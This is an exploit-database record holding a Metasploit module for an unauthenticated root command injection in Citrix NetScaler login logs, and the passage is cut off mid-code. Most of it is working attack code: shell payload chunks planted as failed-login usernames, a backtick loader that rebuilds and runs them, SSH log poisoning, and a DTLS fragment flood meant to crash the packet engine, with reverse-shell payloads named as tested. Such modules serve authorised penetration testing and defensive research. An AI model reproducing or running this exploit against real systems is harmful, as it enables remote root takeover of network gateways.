{"exploit":{"id":"MSF-freebsd--http--citrix_netscaler_cve_2026_88771","name":"Citrix NetScaler Unauthenticated Login Log Command Injection (CVE-2026-88771)","description":"NetScaler ADC and Gateway 13.1 before build 64.23 and 14.1 before build 73.37 copy an unauthenticated failed-login username into system logs. During a later diagnostic run, ns_monuploadd_err.pl mistakes a crafted login record for a packet-engine failure and inserts attacker-controlled text into a shell command as root. The diagnostic can run up to 24 hours later. On a NetScaler Gateway with DTLS, the optional CVE-2026-88772 trigger can restart the packet engine forcing the diagnostic run to occur much sooner (around five minutes on a 13.1.x target).","cves":["CVE-2026-88771","CVE-2026-88772","CVE-2026-88773"],"author":"watchTowr, CERT-EU, Scyrix LLC, sfewer-r7","published":"2026-09-27","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/freebsd/http/citrix_netscaler_cve_2026_88771.rb","path":"modules/exploits/freebsd/http/citrix_netscaler_cve_2026_88771.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"citrix_netscaler_cve_2026_88771.rb","vulnerabilities":[{"id":"CVE-2026-88771","state":"PUBLISHED","title":"A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands","titleSource":"CVE Program","description":"Improper input validation vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to an unauthenticated attacker to execute arbitrary commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88771","cvss":{"version":"4.0","baseScore":9.5,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"NetScaler","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88771"},"updatedAt":"2026-09-29T03:55:15.090Z","retrievedAt":"2026-11-25T16:13:33.739Z","stale":false,"error":null},{"id":"CVE-2026-88772","state":"PUBLISHED","title":"Memory overflow vulnerability leading to Remote Code Execution or Denial of Service","titleSource":"CVE Program","description":"Vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to Remote Code Execution or Denial of Service","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88772","cvss":{"version":"4.0","baseScore":9.5,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"NetScaler","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88772"},"updatedAt":"2026-09-28T03:55:42.777Z","retrievedAt":"2026-11-25T16:13:33.910Z","stale":false,"error":null},{"id":"CVE-2026-88773","state":"PUBLISHED","title":"HTTP Request Smuggling","titleSource":"CVE Program","description":"Inconsistent interpretation of HTTP requests ('HTTP Request/Response smuggling') vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1-37.279 and NDcPP; Gateway: before 14.1-73.37 FIPS and before 13.1-64.23.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88773","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N","source":"NetScaler","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-88773"},"updatedAt":"2026-09-29T15:21:44.819Z","retrievedAt":"2026-11-25T16:13:33.903Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-freebsd--http--citrix_netscaler_cve_2026_88771.png?v=2","url":"https://exploitbin.com/exploits/MSF-freebsd--http--citrix_netscaler_cve_2026_88771","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-freebsd--http--citrix_netscaler_cve_2026_88771/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-freebsd--http--citrix_netscaler_cve_2026_88771/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"# frozen_string_literal: true\n\n##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'base64'\nrequire 'json'\nrequire 'socket'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  # A planted login may wait for a later diagnostic and never yield a session.\n  Rank = NormalRanking\n\n  # The core-dump diagnostic scans ns.log.0, ns.log, then /var/log/messages. New failed\n  # logins go into one of the two active logs below.\n  NS_LOG = '/var/log/ns.log'\n  MESSAGES_LOG = '/var/log/messages'\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::Udp\n  include Msf::Exploit::Remote::SSH\n  include Msf::Exploit::Retry\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Citrix NetScaler Unauthenticated Login Log Command Injection (CVE-2026-88771)',\n        'Description' => %q{\n          NetScaler ADC and Gateway 13.1 before build 64.23 and 14.1 before\n          build 73.37 copy an unauthenticated failed-login username into system\n          logs. During a later diagnostic run, ns_monuploadd_err.pl mistakes a\n          crafted login record for a packet-engine failure and inserts\n          attacker-controlled text into a shell command as root. The diagnostic\n          can run up to 24 hours later. On a NetScaler Gateway with DTLS, the optional\n          CVE-2026-88772 trigger can restart the packet engine forcing the diagnostic run\n          to occur much sooner (around five minutes on a 13.1.x target).\n        },\n        'Author' => [\n          'watchTowr', # Technical analysis and PoC for CVE-2026-88771 and CVE-2026-88772\n          'CERT-EU', # Technical analysis for CVE-2026-88771\n          'Scyrix LLC', # Technical analysis and PoC for CVE-2026-88773\n          'sfewer-r7' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          # This is the command injection, both planting and triggering RCE.\n          ['CVE', '2026-88771'],\n          # This is a separate memory overflow we optionally leverage on a gateway to force restarting a service\n          # which expedited triggering RCE on 13.1 targets.\n          ['CVE', '2026-88772'],\n          # This is an unrelated HTTP smuggling vuln that is patched in the same firmware versions as CVE-2026-88771.\n          # We can leverage this in the modules check to see if the target appears vulnerable to CVE-2026-88771\n          # based on if CVE-2026-88773 is remediated.\n          ['CVE', '2026-88773'],\n          ['URL', 'https://support.citrix.com/external/article/CTX697096'],\n          ['URL', 'https://www.cert.europa.eu/blog/taking-execute-logging-a-bit-too-literally-cve-2026-88771'],\n          ['URL', 'https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/'],\n          ['URL', 'https://labs.watchtowr.com/here-we-go-again-citrix-netscaler-dtls-preauth-memory-overflow-cve-2026-88772/'],\n          ['URL', 'https://github.com/Scyrix-LLC/CVE-2026-88773']\n        ],\n        'DisclosureDate' => '2026-09-27',\n        'Privileged' => true,\n        'Payload' => {\n          'Space' => 4096,\n          # Padding would create needless failed-login records.\n          'DisableNops' => true\n        },\n        'Platform' => 'unix',\n        # The log stage runs any command payload. Sessionless commands can\n        # execute, but the module cannot confirm them through a session.\n        'Arch' => ARCH_CMD,\n        # Tested with:\n        # * cmd/unix/reverse_bash\n        # * cmd/unix/python/meterpreter/reverse_tcp\n        'Targets' => [\n          ['Default', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Notes' => {\n          # Failed logins are passive; USE_DTLS deliberately risks a packet-engine restart.\n          'Stability' => [CRASH_SERVICE_RESTARTS],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [EVENT_DEPENDENT]\n        }\n      )\n    )\n\n    register_options([\n      OptBool.new('USE_DTLS', [true, 'Leverage CVE-2026-88772 to crash nsppe and indirectly relaunch monuploadd which then triggers the CVE-2026-88771 injection. Can only be used against a gateway interface with DTLS enabled. The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x.', false]),\n      OptInt.new('RESUBMIT_INTERVAL', [true, 'Seconds between repeated attempts to continuously plant the payload (0 disables, default is 30)', 30]),\n      OptInt.new('RESUBMIT_DURATION', [true, 'Total seconds to keep planting the payload and waiting for a session (0 submits once, default is 24 hours)', 86_400])\n    ])\n\n    register_advanced_options([\n      OptEnum.new('ManagementLoginUri', [\n        true, 'Management login endpoint', '/login/do_login',\n        ['/login/do_login', '/nitro/v1/config/login', '/nitro/v1/config/login/']\n      ]),\n      OptEnum.new('ManagementLogFile', [true, 'Log containing management login usernames', NS_LOG, [NS_LOG, MESSAGES_LOG]]),\n      OptEnum.new('GatewayLoginUri', [\n        true, 'Gateway login endpoint', '/cgi/login',\n        ['/cgi/login', '/cgi/tmlogin', '/p/u/doAuthentication.do']\n      ]),\n      OptEnum.new('GatewayLogFile', [true, 'Log containing Gateway login usernames', MESSAGES_LOG, [NS_LOG, MESSAGES_LOG]]),\n      OptBool.new('UseSshFallback', [true, 'Also write the loader to /var/log/messages through failed SSH login when staging uses ns.log', true]),\n      OptPort.new('SshPort', [true, 'SSH port for the optional loader fallback', 22])\n    ])\n  end\n\n  def check\n    discovery = discover_surface\n\n    return CheckCode::Unknown(discovery[:message]) unless discovery[:status] == :detected\n\n    description = \"Citrix NetScaler #{discovery[:surface]}\"\n\n    if discovery[:surface] == :gateway\n      # The DTLS probe identifies a reachable feature, not the vulnerable build or\n      # whether a crash would launch the CVE-2026-88771 diagnostic.\n      dtls = probe_gateway_dtls\n\n      description += \" (DTLS #{dtls})\"\n    end\n\n    report_service(\n      host: rhost,\n      port: rport,\n      proto: 'tcp',\n      name: datastore['SSL'] ? 'https' : 'http',\n      info: description\n    )\n\n    # If the target is vulnerable to CVE-2026-88773 then it should be vulnerable to CVE-2026-88771 as\n    # both of these are patched in the same firmware version. We can detect CVE-2026-88773, an HTTP\n    # smuggling issue due to chunk size processing, via some benign test requests.\n    if accepts_32bit_chunk_wrap?\n      return CheckCode::Appears(description)\n    end\n\n    CheckCode::Detected(description)\n  end\n\n  def exploit\n    # An unauthenticated client can put a failed-login name in an audit log.\n    # Pitboss supervises NetScaler's nsppe packet engine (PPE). After a PPE\n    # failure, it can restart NetScaler's nCore services. That relaunches\n    # monuploadd, a worker that runs core dump diagnostics. On a tested\n    # 13.1 appliance, it launches ns_monuploadd_err.pl -WR as root. That script\n    # mistakes a crafted login for a PPE crash record and inserts its fake\n    # core filename into a shell command.\n    # We store the long payload as short log records and plant one short loader\n    # record that reads them back. DTLS can prompt a restart; otherwise we\n    # keep the records fresh while waiting for the diagnostic (which can take\n    # up to 24 hours to occur).\n    discovery = discover_surface\n\n    fail_with(Failure::NoTarget, discovery[:message]) unless discovery[:status] == :detected\n\n    fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be zero or greater') if datastore['RESUBMIT_INTERVAL'].negative?\n\n    fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be zero or greater') if datastore['RESUBMIT_DURATION'].negative?\n\n    if datastore['USE_DTLS'] && discovery[:surface] == :gateway\n      # A successful PPE restart creates a real crash record after our first\n      # loader. We need time for another login to follow that record.\n      fail_with(Failure::BadConfig, 'RESUBMIT_INTERVAL must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_INTERVAL'].zero?\n\n      fail_with(Failure::BadConfig, 'RESUBMIT_DURATION must be positive with USE_DTLS so a login follows Gateway recovery') if datastore['RESUBMIT_DURATION'].zero?\n    end\n\n    uri = discovery[:surface] == :gateway ? datastore['GatewayLoginUri'] : datastore['ManagementLoginUri']\n\n    # We maintain a \"profile\" to describe how we submit the login attempts, as it differs\n    # based on the login URI and the data that URI expects.\n    # NITRO, NetScaler's management API, expects nested JSON. The other login\n    # interfaces use different form fields.\n    # The log file tells the loader where to find the long payload records.\n    profile = {\n      uri: uri,\n      format: uri.start_with?('/nitro/') ? :nitro : discovery[:surface],\n      log_file: discovery[:surface] == :gateway ? datastore['GatewayLogFile'] : datastore['ManagementLogFile']\n    }\n\n    # The diagnostic takes the last matching line in file order, not timestamp\n    # order. A record in /var/log/messages can beat our newer HTTP loader in ns.log.\n    # SSH can place a copy of that loader in /var/log/messages; it still reads the long\n    # stage from the selected HTTP log.\n    if profile[:log_file] != MESSAGES_LOG && !datastore['UseSshFallback']\n      print_warning('SSH fallback is disabled while staging in ns.log; an older matching record in /var/log/messages may take precedence')\n    end\n\n    # The short run ID separates this run's log records from older attempts.\n    # stage_statements creates a longer, independent execution marker because\n    # the diagnostic can evaluate the fake filename twice.\n    run_id = Rex::Text.rand_text_alphanumeric(4)\n\n    statements = stage_statements(payload.encoded)\n\n    # Each refresh gets a new token, so its loader reads only its own chunks.\n    counter = 0\n\n    # Submit a complete stage before any DTLS outage. After recovery, another\n    # login can put our loader behind Pitboss's genuine crash record.\n    stage_status = plant_payload(profile, statements, run_id, counter)\n\n    fail_with(Failure::UnexpectedReply, \"The #{discovery[:surface]} login did not accept the complete command stage\") unless stage_status\n\n    # The HTTP stage can still work without SSH if /var/log/messages has no competing\n    # record, so a failed fallback is a warning rather than a fatal error.\n    if stage_status == :ssh_failed\n      print_warning('The loader could not be written to /var/log/messages via SSH; an older /var/log/messages record may take precedence')\n    end\n\n    print_status(\"Submitted #{statements.length} command records and a loader through #{uri}\")\n\n    if datastore['USE_DTLS'] && discovery[:surface] == :gateway\n      # NOTE: The DTLS restart was only observed to expedite triggering the injection on 13.1.x but not on 14.1.x.\n      trigger_dtls\n    elsif datastore['USE_DTLS']\n      print_warning('DTLS restart is only available on a gateway interface. Ignoring the USE_DTLS option against a management interface.')\n    end\n\n    print_status(\"Resubmitting payload over the next #{datastore['RESUBMIT_DURATION']} seconds while we wait for the payload to trigger\")\n\n    # We need to keep trying until we get a session, which can take up to 24 hours.\n    # Framework setup has already started the handler. Stop refreshing when\n    # it registers a session. The polling helper yields once after its timeout;\n    # this deadline prevents an extra log submission on that final yield.\n    deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) + datastore['RESUBMIT_DURATION']\n\n    # A stage already exists, so the first poll only checks for a session.\n    initial_poll = true\n\n    # A disabled refresh still needs a nonzero interval to avoid a busy loop.\n    poll_until_truthy(timeout: datastore['RESUBMIT_DURATION'], interval: [datastore['RESUBMIT_INTERVAL'], 1].max) do\n      next true if session_created?\n\n      next true if Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) >= deadline\n\n      if initial_poll\n        initial_poll = false\n      elsif datastore['RESUBMIT_INTERVAL'].positive?\n        # A five-digit suffix keeps the loader inside the username limit.\n        counter = (counter + 1) & 0xfffff\n\n        if plant_payload(profile, statements, run_id, counter)\n          vprint_status('Refreshed the log stage and loader')\n        end\n      end\n\n      session_created?\n    end\n  end\n\n  def on_new_session(session)\n    super\n\n    # Meterpreter sends its own idle probes; a command shell sends nothing.\n    return unless session.type == 'shell'\n\n    # On the tested appliance, NetScaler's NAT entry for a reverse shell expired\n    # after about three idle minutes while FreeBSD still held the socket. The\n    # next command then met a reset. Citrix documents NAT PCB expiry and how\n    # keepalive probes can update a connection's last activity:\n    # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/system/system-parameter.html\n    # https://developer-docs.netscaler.com/en-us/adc-command-reference-int/13-1/ns/ns-tcpprofile\n    # Start TCP keepalive after 30 seconds to refresh the connection without\n    # writing a command to the shell.\n    idle_option = if ::Socket.const_defined?(:TCP_KEEPIDLE)\n                    ::Socket::TCP_KEEPIDLE\n                  elsif ::Socket.const_defined?(:TCP_KEEPALIVE)\n                    ::Socket::TCP_KEEPALIVE\n                  end\n\n    unless idle_option && session.rstream.respond_to?(:setsockopt)\n      print_warning('This command shell transport cannot shorten TCP keepalive; an idle session may be reset by NetScaler')\n\n      return\n    end\n\n    session.rstream.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_KEEPALIVE, 1)\n\n    session.rstream.setsockopt(::Socket::IPPROTO_TCP, idle_option, 30)\n  rescue SystemCallError, IOError => e\n    print_warning(\"Could not enable TCP keepalive for the command shell: #{e.message}\")\n  end\n\n  private\n\n  def accepts_32bit_chunk_wrap?\n    normal = chunked_probe_response(\"0\\r\\n\\r\\n\")\n    return false unless normal && [200, 302].include?(normal.code)\n\n    # A non-hex digit must not receive the ordinary HTTP response.\n    return false if chunked_probe_response(\"z\\r\\n\\r\\n\")\n\n    # The vulnerable 32-bit parser wraps 0x100000000 to a zero-length chunk:\n    # https://github.com/Scyrix-LLC/CVE-2026-88773\n    wrapped = chunked_probe_response(\"100000000\\r\\n\\r\\n\")\n    return false unless wrapped\n\n    [wrapped.code, wrapped['Location'], wrapped['Server']] ==\n      [normal.code, normal['Location'], normal['Server']]\n  end\n\n  def chunked_probe_response(body)\n    http_client = connect\n    host = Rex::Socket.is_ipv6?(vhost) ? \"[#{vhost}]\" : vhost\n    host += \":#{rport}\" unless [80, 443].include?(rport)\n    request = \"GET / HTTP/1.1\\r\\nHost: #{host}\\r\\nTransfer-Encoding: chunked\\r\\nConnection: close\\r\\n\\r\\n#{body}\"\n\n    # Send exact framing without Rex adding Content-Length or User-Agent.\n    http_client.send_request(request, 3)\n    headers = ''.b\n    until headers.include?(\"\\r\\n\\r\\n\")\n      fragment = http_client.conn.get_once(4096, 3)\n      return nil if fragment.to_s.empty?\n\n      return nil if headers.bytesize + fragment.bytesize > 8192\n\n      headers << fragment\n    end\n\n    response = Rex::Proto::Http::Response.new\n    parsed = response.parse(headers.byteslice(0, headers.index(\"\\r\\n\\r\\n\") + 4))\n    return nil if parsed == Rex::Proto::Http::Packet::ParseCode::Error\n\n    response\n  rescue Rex::ConnectionError, Rex::TimeoutError, IOError, SystemCallError\n    nil\n  ensure\n    disconnect(http_client) if http_client\n  end\n\n  def discover_surface\n    # AutoCheck calls check before exploit on the same run instance. Reuse a\n    # positive result to avoid duplicate GETs, but not for a different target.\n    identity = [rhost, rport, datastore['SSL'], datastore['VHOST'], datastore['TARGETURI']]\n\n    return @discovery if @discovery && @discovery_identity == identity\n\n    @discovery = nil\n    @discovery_identity = identity\n\n    # The management and Gateway pages expose different unauthenticated\n    # branding, even though both can receive failed login submissions.\n    root = send_request_cgi('method' => 'GET', 'uri' => '/')\n\n    # 13.1 uses Citrix branding; 14.1 uses NetScaler branding on this page.\n    body = root&.body.to_s\n\n    if root&.code == 200 &&\n       %w[Citrix NetScaler].any? { |brand| body.include?(\"<title>#{brand} Login</title>\") && body.include?(\"#{brand} ADC\") }\n      return @discovery = { status: :detected, surface: :management }\n    end\n\n    gateway = send_request_cgi('method' => 'GET', 'uri' => '/logon/LogonPoint/index.html')\n\n    if gateway&.code == 200 && gateway.body.to_s.include?('_ctxstxt_NetscalerGateway')\n      return @discovery = { status: :detected, surface: :gateway }\n    end\n\n    { status: :unknown, message: 'No NetScaler management or Gateway login page was identified' }\n  rescue Rex::TimeoutError, IOError, SystemCallError => e\n    { status: :unknown, message: \"The NetScaler login page could not be read: #{e.message}\" }\n  end\n\n  def probe_gateway_dtls\n    # Use the same ordinary DTLSv1 hello and cookie exchange as USE_DTLS,\n    # stopping before the fragmented key exchange that can restart nsppe.\n    socket = connect_udp(false)\n    client_random = Rex::Text.rand_text(32)\n\n    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello('', client_random), 0), 0))\n\n    verify = dtls_handshake_body(socket.get(3), 3)\n\n    return :unknown unless verify && verify.bytesize >= 4 && verify.byteslice(0, 2) == \"\\xfe\\xff\".b\n\n    cookie_length = verify.getbyte(2)\n\n    return :unknown unless cookie_length.positive? && verify.bytesize == 3 + cookie_length\n\n    cookie = verify.byteslice(3, cookie_length)\n\n    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello(cookie, client_random), 1), 1))\n\n    # A valid cookie proves a DTLS listener is present. A ServerHello also\n    # proves this module's ClientHello reaches the subsequent handshake path.\n    dtls_server_hello?(socket.get(3)) ? :enabled : :present\n  rescue Rex::TimeoutError, IOError, SystemCallError => e\n    vprint_warning(\"The Gateway DTLS check was inconclusive: #{e.message}\")\n\n    :unknown\n  ensure\n    disconnect_udp(socket) if socket\n  end\n\n  def stage_statements(command)\n    # monuploadd holds a lock while it runs the diagnostic. A live payload\n    # would inherit that lock and block later diagnostics. Close inherited\n    # descriptors 3 through 255 and redirect standard streams so the payload\n    # cannot keep the diagnostic open. Run it in the background so the\n    # diagnostic can finish. Bash's eval closes each numbered descriptor.\n    # The directory marker is created first: if the diagnostic executes the\n    # loader twice, only the first run starts a payload. It stays on disk to\n    # stop old log entries from replaying this run. Its 16 characters are\n    # independent of the shorter log token and stay fixed across refreshes.\n    marker = Rex::Text.rand_text_alphanumeric(16)\n\n    script = <<~BASH\n      if mkdir /var/tmp/.#{marker} 2>/dev/null; then\n        (\n          for fd in {3..255}; do eval \"exec $fd>&-\"; done\n          #{command}\n        ) </dev/null >/dev/null 2>&1 &\n      fi\n    BASH\n\n    # The login log has a short username limit. URL-safe Base64 avoids '+',\n    # which management logging can turn into a space; 79-byte pieces leave\n    # room for each record's token and separators.\n    chunks = Base64.urlsafe_encode64(script).scan(/.{1,79}/)\n\n    # These are shell assignments stored as usernames, not commands run by\n    # the login endpoint. Each username is token@statement@, so the loader\n    # can take the middle field and rebuild the stage in log order.\n    statements = [\"b='#{chunks.shift}'\"]\n\n    chunks.each { |chunk| statements << \"b=\\\"$b\\\"'#{chunk}'\" }\n\n    # Convert URL-safe Base64 back to the standard alphabet; OpenSSL's -A\n    # handles the long line without wrapping it. The octal \\053 stands for\n    # '+' so the log record itself never contains that fragile character.\n    # Bash then executes the decoded script.\n    # NetScaler's Python lives outside the daemon's PATH, where Framework's\n    # Python command payload would otherwise fail to find it.\n    statements << \"echo \\\"$b\\\"|tr '_-' '/\\\\053'|openssl base64 -d -A|PATH=$PATH:/var/python/bin bash\"\n  end\n\n  def plant_payload(profile, statements, run_id, counter)\n    # The run ID separates attempts. The counter changes on each refresh so\n    # a loader cannot mix old and new chunks from this run.\n    token = \"#{run_id}#{format('%05x', counter)}\"\n\n    loader = loader_username(token, profile[:log_file])\n\n    # Write every chunk before the loader so a selected loader can find a\n    # complete stage, even if the diagnostic runs immediately afterward.\n    usernames = statements.map { |statement| \"#{token}@#{statement}@\" } << loader\n\n    # Validate all usernames before writing any log entries; an oversized\n    # field could be truncated and leave an unusable partial stage behind.\n    oversized = usernames.find { |username| username.bytesize > 100 }\n\n    fail_with(Failure::BadConfig, \"Generated login username is #{oversized.bytesize} bytes (maximum 100)\") if oversized\n\n    # An authentication failure is expected. Stop only if the endpoint does\n    # not appear to have handled a login submission.\n    usernames.each do |username|\n      response = submit_login(profile, username)\n\n      next if response && login_accepted?(profile, response)\n\n      vprint_warning(\"Login submission failed through #{profile[:uri]} (HTTP #{response&.code || 'no response'})\")\n\n      return nil\n    end\n\n    return :planted unless datastore['UseSshFallback'] && profile[:log_file] != MESSAGES_LOG\n\n    # SSH supplies a second copy of the loader in /var/log/messages; the HTTP stage\n    # remains usable even if SSH submission fails.\n    submit_ssh_loader(loader) ? :planted : :ssh_failed\n  end\n\n  def loader_username(token, log_file)\n    # The diagnostic's broad Pitboss/PPE regex accepts this fake crash line.\n    # It keeps only two whitespace fields after NSPPE, then passes the result\n    # unquoted to a shell. Backticks run our loader there, and $IFS separates\n    # its arguments without adding literal spaces after NSPPE.\n    #\n    # Management and Gateway login records both say \"User <token>@\". Gateway\n    # 14.1 also logs each name in an \"AAA Message\" line without that field.\n    # User. selects one copy without a literal space in the loader. Bracketing\n    # one token character avoids matching the loader's own search text.\n    # POSIX sh assembles the chunks; the decoded stage uses Bash.\n    pattern = \"#{token[0]}[#{token[1]}]#{token[2..]}@\"\n\n    \"pitbossPPEunexpectedly diedNSPPE`awk$IFS-F@$IFS'/User.#{pattern}/{print$2}'<#{log_file}|sh`\"\n  end\n\n  def submit_login(profile, username)\n    # The tested login paths log the name from a failed attempt. NITRO needs\n    # JSON; Gateway and GUI use different form names.\n    # A random password keeps this request unauthenticated.\n    request = {\n      'method' => 'POST',\n      'uri' => profile[:uri]\n    }\n\n    case profile[:format]\n    when :gateway\n      request['vars_post'] = {\n        'login' => username,\n        'passwd' => Rex::Text.rand_text_hex(12),\n        'savecredentials' => 'false',\n        'nsg-x1-logon-button' => 'Log On'\n      }\n    when :nitro\n      request['ctype'] = 'application/json'\n\n      request['data'] = {\n        'login' => {\n          'username' => username,\n          'password' => Rex::Text.rand_text_hex(12)\n        }\n      }.to_json\n    else\n      request['vars_post'] = {\n        'username' => username,\n        'password' => Rex::Text.rand_text_hex(12),\n        'timezone_offset' => '0',\n        'url' => '',\n        'eula' => 'TRUE'\n      }\n\n      request['headers'] = { 'X-Nitro-Web-Application' => 'true' }\n    end\n\n    send_request_cgi(request)\n  rescue Rex::TimeoutError, IOError, SystemCallError => e\n    vprint_warning(\"Failed-login request could not be sent: #{e.message}\")\n\n    nil\n  end\n\n  def login_accepted?(profile, response)\n    # NITRO uses 401 for a failed login; the GUI redirects, while Gateway can\n    # also return an XML authentication response. These responses show the\n    # endpoint handled the attempt, not that a log entry or command ran.\n    return response.code == 401 if profile[:format] == :nitro\n\n    if profile[:format] == :gateway && response.code == 200\n      return response.body.to_s.include?('<AuthenticateResponse')\n    end\n\n    return false unless response.code == 302 || response.code == 303\n\n    location = response.redirection&.path.to_s\n\n    profile[:format] == :gateway ? location.start_with?('/vpn/') : location.start_with?('/login/loginview')\n  end\n\n  def submit_ssh_loader(loader)\n    # sshd writes the complete username to /var/log/messages after six invalid password\n    # attempts. This puts a second loader where the diagnostic searches last,\n    # without requiring a valid SSH account.\n    prompt = RandomPasswordPrompt.new\n\n    options = ssh_client_defaults.merge(\n      auth_methods: ['password'],\n      password: Rex::Text.rand_text_hex(32),\n      password_prompt: prompt,\n      number_of_password_prompts: 6,\n      non_interactive: false,\n      timeout: datastore['SSH_TIMEOUT'],\n      port: datastore['SshPort']\n    )\n\n    Net::SSH.start(rhost, loader, options) { |_ssh| }\n\n    false\n  rescue Net::SSH::Disconnect\n    # Net::SSH uses the first password directly; five prompt callbacks suggest\n    # six attempts were sent. The disconnect does not prove a log entry exists.\n    prompt.prompts == 5\n  rescue Net::SSH::Exception, IOError, SystemCallError => e\n    vprint_warning(\"SSH loader submission failed: #{e.message}\")\n\n    false\n  end\n\n  # Net::SSH calls this prompt for retries after the initial password. Fresh\n  # random answers provide the repeated failures that make sshd log the name.\n  class RandomPasswordPrompt\n    attr_reader :prompts\n\n    def initialize\n      @prompts = 0\n    end\n\n    def start(_info)\n      self\n    end\n\n    def ask(_message, _echo)\n      @prompts += 1\n\n      Rex::Text.rand_text_hex(32)\n    end\n\n    def success; end\n  end\n\n  def trigger_dtls\n    # DTLS on a Gateway reaches the packet engine's separate overflow. Its\n    # parser accepts later handshake fragments only after a ClientHello with\n    # the server's fresh cookie. Use one UDP socket for both hellos and the\n    # later fragments, as required by that cookie exchange.\n    vprint_status('Probing the Gateway DTLS listener for a fresh cookie')\n\n    socket = connect_udp(false)\n\n    client_random = Rex::Text.rand_text(32)\n\n    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello('', client_random), 0), 0))\n\n    verify = socket.get(3)\n\n    unless dtls_handshake_type(verify) == 3 && verify.bytesize >= 29\n      print_warning('DTLS HelloVerifyRequest was unavailable; waiting for a normal diagnostic run')\n\n      return\n    end\n\n    # A DTLS record has a 13-byte header and a handshake has a 12-byte header.\n    # HelloVerifyRequest then has two version bytes before the cookie length.\n    cookie_length = verify.getbyte(27)\n\n    cookie = verify.byteslice(28, cookie_length)\n\n    unless cookie_length.positive? && cookie&.bytesize == cookie_length\n      print_warning('DTLS returned an invalid cookie; waiting for a normal diagnostic run')\n\n      return\n    end\n\n    vprint_status(\"Received a #{cookie_length}-byte DTLS cookie\")\n\n    # The server must accept the cookie and finish its hello flight before it\n    # will parse the ClientKeyExchange fragments used by this trigger.\n    socket.put(dtls_record(dtls_handshake(1, dtls_client_hello(cookie, client_random), 1), 1))\n\n    # ServerHelloDone can arrive in a later datagram, after the certificate.\n    # Check a bounded number of records rather than treating the first reply\n    # as the whole server flight.\n    unless dtls_handshake_type(socket.get(3)) == 2 &&\n           12.times.any? { dtls_handshake_type(socket.get(0.15)) == 14 }\n      print_warning('The DTLS server flight was incomplete; waiting for a normal diagnostic run')\n\n      return\n    end\n\n    vprint_status('The Gateway completed the DTLS server flight')\n\n    # The body has the shape of an RSA key exchange but deliberately invalid\n    # ciphertext. A healthy server should reject it with an alert.\n    # A restart was observed at 128 overlapping fragments, not at lower counts.\n    body_length = 1445\n\n    fragment_count = 128\n\n    body = [body_length - 2].pack('n') + Rex::Text.rand_text(body_length - 2)\n\n    # All partial records claim the same logical message but overlap heavily.\n    # The final offset-zero record completes it, reaching the vulnerable\n    # reassembly copy with much more buffered data than the logical length.\n    1.upto(fragment_count) do |offset|\n      fragment = dtls_handshake(16, body.byteslice(offset..), 2, body.bytesize, offset)\n\n      socket.put(dtls_record(fragment, offset + 1))\n\n      # A burst of near-MTU UDP records could overrun the Gateway's receive\n      # queue and lose fragments needed when the final record arrives. A 4 ms\n      # gap limits this burst to about 250 records per second and adds only\n      # half a second.\n      # Kernel.sleep requests this short delay as Rex::ThreadSafe.sleep uses 200 ms steps.\n      ::Kernel.sleep(0.004)\n    end\n\n    socket.put(dtls_record(dtls_handshake(16, body, 2), fragment_count + 2))\n\n    # Packet delivery 